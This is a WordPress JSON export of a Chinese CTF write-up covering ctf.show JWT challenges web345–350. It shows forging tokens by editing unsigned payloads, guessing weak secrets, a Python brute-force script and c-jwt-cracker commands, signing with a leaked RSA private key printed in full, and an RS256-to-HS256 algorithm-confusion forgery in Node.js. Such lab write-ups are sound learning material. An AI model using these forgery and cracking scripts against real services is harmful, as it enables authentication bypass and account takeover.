{"id":281,"date":"2022-09-15T16:15:40","date_gmt":"2022-09-15T08:15:40","guid":{"rendered":"http:\/\/162.14.82.114\/?p=281"},"modified":"2022-09-15T17:21:15","modified_gmt":"2022-09-15T09:21:15","slug":"web%e5%85%a5%e9%97%a8-jwt","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/281\/09\/15\/2022\/","title":{"rendered":"WEB\u5165\u95e8\u2014\u2014JWT"},"content":{"rendered":"

\"image-20220915172030353\"<\/div><\/p>\n

web345<\/h1>\n
\u6b64\u9898\u4e3a \u3010\u4ece0\u5f00\u59cb\u5b66web\u3011\u7cfb\u5217\u7b2c\u4e09\u767e\u56db\u5341\u4e94\u9898\n\u6b64\u7cfb\u5217\u9898\u76ee\u4ece\u6700\u57fa\u7840\u5f00\u59cb\uff0c\u9898\u76ee\u9075\u5faa\u5faa\u5e8f\u6e10\u8fdb\u7684\u539f\u5219\njwt\u5f00\u59cb\u5566<\/code><\/pre>\n
\u6253\u5f00\u4f1a\u663e\u793a\uff1a<\/p>\n
where is flag?<\/code><\/pre>\n
ctrl+u<\/code>\u67e5\u770b\u6e90\u4ee3\u7801\uff1a<\/p>\n
where is flag?\n<!-- \/admin --><\/code><\/pre>\n
\u8bbf\u95ee\/admin\/<\/code><\/p>\n
\n
\u8fd9\u91cc\u867d\u7136\u6ca1\u6709404\uff0c\u4f46\u662f\u4e25\u683c\u6309\u7167\u5927\u5e08\u5085\u7684\u8bb2\u89e3\uff1a<\/p>\n
\u8bbf\u95ee\/admin<\/code>\u662f\u5728\u5f53\u524d\u76ee\u5f55\u5bfb\u627eadmin\u6587\u4ef6<\/p>\n
\u8bbf\u95ee\/admin\/<\/code>\u662f\u6253\u5f00admin\u76ee\u5f55\u5bfb\u627eindex.php<\/code>\uff0cindex.jsp<\/code>\uff0cindex.aspx<\/code>\u6587\u4ef6<\/p>\n
\u731c\u6d4b\u8fd9\u91cc\u53ef\u80fd\u662f\u56e0\u4e3a\u6d4f\u89c8\u5668\u81ea\u52a8\u4f18\u5316\u4e86<\/p>\n<\/blockquote>\n
\u6253\u5f00\u5e76\u590d\u5236cookie<\/code>\uff0cbase64<\/code>\u89e3\u7801\uff1a<\/p>\n
W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjMyMTQ4ODgsImV4cCI6MTY2MzIyMjA4OCwibmJmIjoxNjYzMjE0ODg4LCJzdWIiOiJ1c2VyIiwianRpIjoiOWMyNGQ0OWFhODM3YzQ4ZDJlMjAwZmJiYzNmZGUxN2EifV0\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\n[{"iss":"admin","iat":1663214888,"exp":1663222088,"nbf":1663214888,"sub":"user","jti":"9c24d49aa837c48d2e200fbbc3fde17a"}]<\/code><\/pre>\n
\u5c06\u975eadmin\u7684\u8f6c\u5316\u4e3aadmin\uff0c\u653e\u5165cookie<\/code>\uff0c\u518d\u8bbf\u95ee\u76ee\u5f55\u5373\u53ef\uff1a<\/p>\n
[{"iss":"admin","iat":1663214888,"exp":1663222088,"nbf":1663214888,"sub":"admin","jti":"9c24d49aa837c48d2e200fbbc3fde17a"}]\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\nW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjMyMTQ4ODgsImV4cCI6MTY2MzIyMjA4OCwibmJmIjoxNjYzMjE0ODg4LCJzdWIiOiJhZG1pbiIsImp0aSI6IjljMjRkNDlhYTgzN2M0OGQyZTIwMGZiYmMzZmRlMTdhIn1d<\/code><\/pre>\n
\"image-20220915121604835\"<\/div><\/p>\n
\u5f97\u5230flag!!!!!!!!<\/p>\n
\n
JWT\u7684\u5b66\u4e60\u53ef\u4ee5\u53c2\u8003\uff1a<\/p>\n
https:\/\/baobao555.tech\/archives\/40<\/a><\/p>\n
https:\/\/xz.aliyun.com\/t\/2338<\/a><\/p>\n<\/blockquote>\n
web346<\/h1>\n
where is flag?<\/code><\/pre>\n
\u548c\u4e0a\u4e00\u9898\u4e00\u6837\uff0c\u8fdb\u5165\/admin\/<\/code>\uff0c\u6253\u5f00cookie<\/code>\uff0c\u5728jwt.io<\/code>\u91cc\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220915122918863\"<\/div><\/p>\n
\u4fee\u6539\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220915123012922\"<\/div><\/p>\n
\u5bc6\u94a5123456<\/code>\u662f\u76f2\u731c\u7684\u5f31\u5bc6\u7801\u3002\u3002\u3002<\/p>\n
\u5c06cookie<\/code>\u91cd\u65b0\u4ee3\u5165\u5f97\u5230flag\uff01\uff01\uff01\uff01\uff01\uff01\uff01<\/p>\n
web347<\/h1>\n
jwt\u5f00\u59cb\u5566,\u5f31\u53e3\u4ee4<\/code><\/pre>\n
where is flag?<\/code><\/pre>\n
\u8001\u6837\u5b50\uff0c\u627e\u51facookie<\/code>\uff0c\u89e3\u7801\uff1a<\/p>\n
\"image-20220915124353315\"<\/div><\/p>\n
\u731c\u6d4b\u662f\u5f31\u5bc6\u7801\u8fd9\u4e2acookie\u5c31\u53ef\u4ee5\u7528\u4e86\uff0c\u5f53\u7136\u5927\u5e08\u5085\u4e0b\u9762\u7684\u65b9\u6cd5\u4e5f\u662f\u53ef\u4ee5\u7684\uff1a<\/p>\n
\u5229\u7528pydictor<\/code>\u751f\u62101\u52306\u4f4d\u7684\u5b57\u5178\uff1a<\/p>\n
python pydictor.py -base d --len 1 6 -o nums.txt<\/code><\/pre>\n
\n    
\"image-20220915125433760\"<\/div>\n<\/div>\n
\u518d\u4f7f\u7528\u5927\u5e08\u5085\u7ed9\u7684\u811a\u672c\uff1a<\/p>\n
import jwt\nimport json\ndef runblasting(path,jwt_str,alg):\n    if alg == "none":\n        alg = "HS256"\n    with open(path,encoding='utf-8') as f:\n        for line in f:\n            key_ = line.strip()\n            print('                               use '+key_)\n            try:\n                jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)\n                print('found key! --> ' +  key_)\n                break\n            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):\n                print('found key! --> ' +  key_)\n                break\n            except(jwt.exceptions.InvalidSignatureError):\n                continue\n        else:\n            print("key not found!")\n\nif __name__ == '__main__':\n    runblasting('tory_nums.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2MzIxODEwMSwiZXhwIjoxNjYzMjI1MzAxLCJuYmYiOjE2NjMyMTgxMDEsInN1YiI6InVzZXIiLCJqdGkiOiIwODNlNzgwZDVmOWI2YmU0MjFiY2ExOTk1ZDhhNjU1MSJ9.TtDSCW52Qi_FTO7CM0psNDKsB5vyBiOjTN7rCU23v_g','HS256')\n# \u539f\u59cbauth\u91cc\u7ed9\u7684cookie<\/code><\/pre>\n
\u540c\u6837\u53ef\u4ee5\u7206\u7834\u51fa\u6765\uff1a<\/p>\n
\n    
\"image-20220915131314011\"<\/div>\n<\/div>\n
web348<\/h1>\n
jwt\u5f00\u59cb\u5566,\u7206\u7834<\/code><\/pre>\n
where is flag?<\/code><\/pre>\n
\u89e3\u6cd5\u4e00\uff1a\u5927\u5e08\u5085\u811a\u672c\u7206\u7834\uff01<\/h2>\n
\u5148\u751f\u6210\u7206\u7834\u5b57\u5178\uff1a<\/h3>\n
python pydictor.py -base L --len 1 6 -o nums.txt<\/code><\/pre>\n
\n    
\"image-20220915132005614\"<\/div>\n<\/div>\n
\u53d6\u51faauth\u7684cookie<\/h3>\n
Application<\/code>->Storage<\/code>->Cookie<\/code>->http:\/\/xxxxxxxx<\/code>->auth<\/code><\/p>\n
\u5c06cookie\u4ee3\u5165\u811a\u672c\uff01<\/p>\n
\u4f7f\u7528\u811a\u672c\u7206\u7834\uff1a<\/h3>\n
\n    
\"image-20220915132641963\"<\/div>\n<\/div>\n
\u6253\u5f00jwt.io\u8fdb\u884c\u4fee\u6539\uff1a<\/h3>\n
\"image-20220915132829617\"<\/div><\/p>\n
\u4fee\u6539cookie\uff0c\u8bbf\u95ee\/admin\/\u5f97\u5230flag<\/h3>\n
\"image-20220915132936367\"<\/div><\/p>\n
\u65b9\u6cd5\u4e8c\uff1ac-jwt-cracker<\/a><\/h2>\n
kali\u88c5\u7684\u65f6\u5019\u4f1a\u62a5\u9519\uff0c\u7834\u574f\u4e86\u4f9d\u8d56\u5173\u7cfb\u3002\u3002\u3002\u3002<\/p>\n
\u4f7f\u7528docker\u5427\u3002\u3002\u3002\u4e5f\u4e0d\u884c\u3002\u3002\u8fd8\u662f\u7834\u7f50\u5b50\u7834\u6454\u5427\uff0c\u5148\u5220\u6389\u518d\u91cd\u65b0\u4e0b\u8f7d\u3002\u3002\u8d8a\u5012\u817ebug\u8d8a\u591a\uff0c\u6211\u771f\u7684\u88c2\u5f00\u4e86\uff0c\u6362parrot<\/code>\u8bd5\u8bd5\uff0c\u8fd8\u4e0d\u884c\uff0c\u6211\u5d29\u6e83\u4e86\u8981\uff0c\u6362ubuntu<\/code>\uff0c\u4e0d\u884c\u62c9\u5012\uff01\uff01\uff01\u7ed3\u679c\u7adf\u7136\u975e\u5e38\u987a\u7545\u3002\u3002\u3002\u3002<\/p>\n
git clone https:\/\/github.com\/brendan-rius\/c-jwt-cracker.git\ncd c-jwt-cracker\/\nmake\n.\/jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2MzIyMjkxMiwiZXhwIjoxNjYzMjMwMTEyLCJuYmYiOjE2NjMyMjI5MTIsInN1YiI6InVzZXIiLCJqdGkiOiI4Nzc0MmVjMDNkN2YzOGY5ZGViNjg4ZGQwZjk5NGI0MyJ9.JQMZLOL-mqSAaO_OpRdRfuJmBfc_woVQ1-dE5xSCM2E<\/code><\/pre>\n
\"image-20220915145216307\"<\/div><\/p>\n
\u529f\u592b\u4e0d\u8d1f\u6709\u5fc3\u4eba\u3002\u3002\u3002<\/p>\n
web349<\/h1>\n
# app.js\n\/* GET home page. *\/\nrouter.get('\/', function(req, res, next) {\n  res.type('html');\n  var privateKey = fs.readFileSync(process.cwd()+'\/\/public\/\/private.key');\n  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });\n  res.cookie('auth',token);\n  res.end('where is flag?');\n\n});\n\nrouter.post('\/',function(req,res,next){\n    var flag="flag_here";\n    res.type('html');\n    var auth = req.cookies.auth;\n    var cert = fs.readFileSync(process.cwd()+'\/\/public\/public.key');  \/\/ get public key\n    jwt.verify(auth, cert, function(err, decoded) {\n      if(decoded.user==='admin'){\n        res.end(flag);\n      }else{\n        res.end('you are not admin');\n      }\n    });\n});<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u79c1\u94a5\u6cc4\u9732\u4e86\uff0c\u8bbf\u95ee\u5f97\u5230\u79c1\u94a5\uff1a<\/p>\n
https:\/\/317c1361-589d-4f66-a92e-4273be3674ab.challenge.ctf.show\/private.key\n-------------------------------------\n-----BEGIN RSA PRIVATE KEY-----\nMIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb\neni5WTsWVKrmzmCk7tu4iNtkmn\/r9D\/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8\nIEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB\nAoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK\nfrOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX\nh7iFjNscfs\/Dp\/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM\ncdEBOgkI\/E\/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R\/hIW9JD1vlp62Qi\nST9LU4lxAkEA1lsfr9gF\/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv\nubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA\n+tUDjQJAERSE\/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ\nV7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW\nzawYVGZdwvuD9IgY\/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV\nx+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==\n-----END RSA PRIVATE KEY-----<\/code><\/pre>\n
\u4f7f\u7528\u5e08\u5085\u4eec\u7684\u811a\u672c\uff1a<\/p>\n
# -*- coding: utf-8 -*-\nimport jwt\npublic = open('private.key', 'r').read()\npayload={"user":"admin"}\nprint(jwt.encode(payload, key=public, algorithm='RS256'))<\/code><\/pre>\n
\"image-20220915150329688\"<\/div><\/p>\n
\u6839\u636e\u6e90\u7801\u9700\u8981POST\u4f20\uff1a<\/p>\n
\"image-20220915150631979\"<\/div><\/p>\n
\u53ef\u80fd\u662f\u4f20\u4e86\u7b2c\u4e00\u6b21\u6ca1\u6709post\uff0c\u5c06cookie\u8986\u76d6\u4e86\uff0c\u91cd\u7f6ecookie\uff0c\u518d\u8bd5\u4e00\u6b21\uff01\uff01\uff01\u5f97\u5230flag\uff01\uff01\uff01<\/p>\n
web350<\/h1>\n
\u9898\u76ee\u7ed9\u4e86\u6e90\u4ee3\u7801\uff0c\u770b\u4e00\u4e0bapp.js<\/code>\uff1a<\/p>\n
var createError = require('http-errors');\nvar express = require('express');\nvar ejs = require('ejs');\nvar path = require('path');\nvar cookieParser = require('cookie-parser');\nvar logger = require('morgan');\nvar session = require('express-session');\nvar FileStore = require('session-file-store')(session);\n\nvar indexRouter = require('.\/routes\/index');\n\nvar app = express();\n\n\/\/session\nvar identityKey = 'auth';\n\napp.use(session({\n  name: identityKey,\n  secret: 'ctfshow_session_secret', \n  store: new FileStore(), \n  saveUninitialized: false, \n  resave: false,\n  cookie: {\n    maxAge: 60 * 60 * 1000 \/\/ \u6709\u6548\u671f\uff0c\u5355\u4f4d\u662f\u6beb\u79d2\n  }\n}));\n\n\/\/ view engine setup\napp.set('views', path.join(__dirname, 'views'));\napp.engine('html', require('ejs').__express); \napp.set('view engine', 'html');\n\napp.use(logger('dev'));\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\napp.use(cookieParser());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.use('\/', indexRouter);\n\n\/\/ catch 404 and forward to error handler\napp.use(function(req, res, next) {\n  next(createError(404));\n});\n\n\/\/ error handler\napp.use(function(err, req, res, next) {\n  \/\/ set locals, only providing error in development\n  res.locals.message = err.message;\n  res.locals.error = req.app.get('env') === 'development' ? err : {};\n\n  \/\/ render the error page\n  res.status(err.status || 500);\n  res.render('error',{msg:err.message});\n});\n\nmodule.exports = app;<\/code><\/pre>\n
\u5148\u8bbf\u95ee\u4e00\u4e0b\u79c1\u94a5\u548c\u516c\u94a5\u770b\u770b\u6709\u6ca1\u6709\uff1a<\/p>\n
\"image-20220915151136857\"<\/div><\/p>\n
http:\/\/ee576147-5b6b-493b-9b81-1d73f769d737.challenge.ctf.show\/private.key\n------------------------------------------\n-----CTFSHOW 36D BOY -----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t\nHHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G\nIgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk\n65RmH98bgnIAGW5nawIDAQAB\n-----END PUBLIC KEY-----<\/code><\/pre>\n
\u5c06\u975e\u5bf9\u79f0\u6539\u4e3a\u5bf9\u79f0\uff0c\u811a\u672c\u4e00\u628a\u68ad\u5c31\u884c\u4e86\uff1a<\/p>\n
# -*- coding: utf-8 -*-\nimport jwt\npublic = open('public.key', 'r').read()\npayload={"user":"admin"}\nprint(jwt.encode(payload, key=public, algorithm='HS256'))<\/code><\/pre>\n
\"image-20220915151601507\"<\/div><\/p>\n
\u66ff\u6362cookie\u548c\u4e0a\u4e00\u9898\u4e00\u6837\u5c31\u884c\u4e86\uff01\uff01\uff01\u7136\u800c\uff1a<\/p>\n
500 \u670d\u52a1\u5668\u5185\u90e8\u9519\u8bef\uff0c\u5e08\u5085tql Cannot read property 'user' of undefined<\/code><\/pre>\n
\u770b\u6765\u4e0d\u80fd\u81ea\u5df1\u60f3\u5f53\u7136\u7684\u6539\u811a\u672c\u3002\u3002\u3002<\/p>\n
\u4f7f\u7528yu\u5e08\u5085\u7684\u811a\u672c:<\/p>\n
const jwt = require('jsonwebtoken');\nvar fs = require('fs');\nvar privateKey = fs.readFileSync('350public.key');\nvar token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });\nconsole.log(token)<\/code><\/pre>\n
\u89e3\u538b\u7f29\uff0c\u5c06jwt.js<\/code>\u4ee5\u53capublic.key<\/code>\u653e\u5230web350<\/code>\uff08\u89e3\u538b\u7f29\u4ee5\u540e\u7684\u6587\u4ef6\u5939\uff09\u91cc\u9762\uff0c\u7ec8\u7aef\u8fd0\u884cnode jwt.js<\/code>\u5373\u53ef\uff1a<\/p>\n
\"image-20220915160941591\"<\/div><\/p>\n
\u66f4\u6362cookie<\/code>\uff0cpost \u8bbf\u95ee\u5f97\u5230flag\uff01\uff01\uff01<\/p>\n
cookie:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2NjMyMjkyOTJ9.vfcIeWJ0wD8XXJ3l2ONynKpcpxNwhHt7GxBDye5WrRg<\/code><\/pre>\n
\"image-20220915161036389\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
web345 \u6b64\u9898\u4e3a \u3010\u4ece0\u5f00\u59cb\u5b66web\u3011\u7cfb\u5217\u7b2c\u4e09\u767e\u56db\u5341\u4e94\u9898 \u6b64\u7cfb\u5217\u9898\u76ee\u4ece\u6700\u57fa\u7840\u5f00\u59cb\uff0c\u9898\u76ee\u9075\u5faa\u5faa\u5e8f\u6e10\u8fdb\u7684\u539f\u5219  […]<\/p>\n","protected":false},"author":1,"featured_media":282,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-281","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/281","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=281"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/281\/revisions"}],"predecessor-version":[{"id":285,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/281\/revisions\/285"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media\/282"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=281"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}